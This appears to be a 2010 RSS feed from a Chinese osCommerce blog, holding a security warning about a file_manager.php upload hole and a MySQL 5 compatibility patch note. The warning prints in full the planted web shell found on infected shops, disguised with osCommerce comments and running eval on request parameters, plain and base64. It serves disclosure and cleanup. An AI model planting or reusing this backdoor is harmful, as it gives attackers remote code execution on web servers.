<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MAXidea的Blog佬世界 &#187; osCommerce</title>
	<atom:link href="http://www.maxidea.com/tag/oscommerce/feed" rel="self" type="application/rss+xml" />
	<link>http://www.maxidea.com</link>
	<description>LAMP Expert</description>
	<lastBuildDate>Mon, 19 Jul 2010 03:15:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>osCommerce安全漏洞警告（垃圾邮件群发）</title>
		<link>http://www.maxidea.com/2010/04/13/396</link>
		<comments>http://www.maxidea.com/2010/04/13/396#comments</comments>
		<pubDate>Tue, 13 Apr 2010 04:35:19 +0000</pubDate>
		<dc:creator>maxidea</dc:creator>
				<category><![CDATA[osCommerce大中华版]]></category>
		<category><![CDATA[osCommerce]]></category>
		<category><![CDATA[垃圾邮件群发]]></category>
		<category><![CDATA[安全漏洞]]></category>

		<guid isPermaLink="false">http://www.maxidea.com/?p=396</guid>
		<description><![CDATA[最近发现osCommerce的后台管理程序file_manager.php可能存在漏洞，会被黑客恶意上传文件到服务器上，请用户在进行文件管理时尽可能使用FTP软件，并对/catalog/admin/file_manager.php进行删除处理。
该漏洞引起的问题如要特征如下：
1）服务器上被载入额外[......]<p class='read-more'><a href='http://www.maxidea.com/2010/04/13/396'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>最近发现osCommerce的后台管理程序file_manager.php可能存在漏洞，会被黑客恶意上传文件到服务器上，请用户在进行文件管理时尽可能使用FTP软件，并对/catalog/admin/file_manager.php进行删除处理。</p>
<p>该漏洞引起的问题如要特征如下：</p>
<p>1）服务器上被载入额外的php文件，例如：<br />
/catalog/images/btaxf/index.php<br />
其中btaxf文件夹名字是随机组合，有的受攻击者机器上的目录名为yahoo</p>
<p>2）该index.php文件的权限是nobody，例如：<br />
-rwxrwxrwx  1 nobody   nobody   1181 Apr 12 07:46 index.php*</p>
<p>3）主机会被用来群发垃圾邮件，黑客通过POST方式访问：<br />
&#8220;POST /catalog/images/btaxf/index.php HTTP/1.1&#8243; 200 2 &#8220;-&#8221; &#8220;PycURL/7.18.2&#8243;</p>
<p>4）该恶意增加index.php文件的代码如下：<br />
<?php<br />
/*<br />
  $Id: /yahoo/index.php 1739 2007-12-20 00:52:16Z hpdl $</p>
<p>  osCommerce, Open Source E-Commerce Solutions</p>
<p>http://www.oscommerce.com</p>
<p>  Copyright (c) 2003 osCommerce</p>
<p>  Released under the GNU General Public License<br />
*/</p>
<p>//  require('includes/application_top.php');<br />
//    $check_email_query = tep_db_query("select count(*) as total from " . TABLE_CUSTOMERS . " where customers_email_address = '" . tep_db_input($email_addre<br />
ss) . "' and customers_id != '" . (int)$customer_id . "'");</p>
<p>//    $check_email = tep_db_fetch_array($check_email_query);<br />
//    if ($check_email["total"] > 0) {</p>
<p>//      $error = true;<br />
                error_reporting(0);</p>
<p>//  if (!tep_session_is_registered(&#8216;customer_id&#8217;)) {<br />
        eval(stripslashes($_REQUEST['osc']));<br />
//    if (ACCOUNT_GENDER == &#8216;true&#8217;) {<br />
//     if ( ($gender != &#8216;m&#8217;) &#038;&#038; ($gender != &#8216;f&#8217;) ) {<br />
//        $error = true;<br />
                                eval(base64_decode($_REQUEST['osc64']));<br />
//        $messageStack->add(&#8216;account_edit&#8217;, ENTRY_GENDER_ERROR);<br />
//      }</p>
<p>//    }<br />
//    $navigation->set_snapshot();<br />
        if(!(count($_GET)+count($_POST)))echo &#8220;Open Source E-Commerce Solutions &#8220;, 2000+10, &#8221; year&#8221;;<br />
//    tep_redirect(tep_href_link(FILENAME_LOGIN, &#8221;, &#8216;SSL&#8217;));</p>
<p>//  }</p>
<p>?></p>
<p>由于涉及的osCommerce版本较多，官方未提供解决办法，请用户发现该index.php文件后必须删除。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maxidea.com/2010/04/13/396/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>专用补丁：解决MySQL 5.0的兼容问题1054错误 (2009-3-17)</title>
		<link>http://www.maxidea.com/2009/04/16/117</link>
		<comments>http://www.maxidea.com/2009/04/16/117#comments</comments>
		<pubDate>Thu, 16 Apr 2009 02:21:40 +0000</pubDate>
		<dc:creator>maxidea</dc:creator>
				<category><![CDATA[osCommerce大中华版]]></category>
		<category><![CDATA[osCommerce]]></category>

		<guid isPermaLink="false">http://www.maxidea.com/?p=117</guid>
		<description><![CDATA[osCommerce[......]<p class='read-more'><a href='http://www.maxidea.com/2009/04/16/117'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>由于MYSQL 5的新特性，导致SQL语句会出现以下错误提示：<br />
1054 &#8211; Unknown column &#8216;p.products_id&#8217; in &#8216;on clause&#8217; select count(p.products_id) as total from products p, products_description pd, manufacturers m, products_to_categories p2c left join specials s on p.products_id = s.products_id where p.products_status = &#8217;1&#8242; and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = &#8217;10&#8242; and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = &#8217;5&#8242; and p2c.categories_id = &#8217;21&#8242;<br />
出现以上1054错误信息，请下载补丁，并覆盖对应的文件即可：<br />
<a href="http://www.maxcapture.com/download/osc/debug/mysql5-1054fail.zip">http://www.maxcapture.com/download/osc/debug/mysql5-1054fail.zip</a><br />
本补丁仅用于为osCommerce大中华版2006专用。(*注意：如您的OSC能正常使用，则无须安装此补丁)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maxidea.com/2009/04/16/117/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
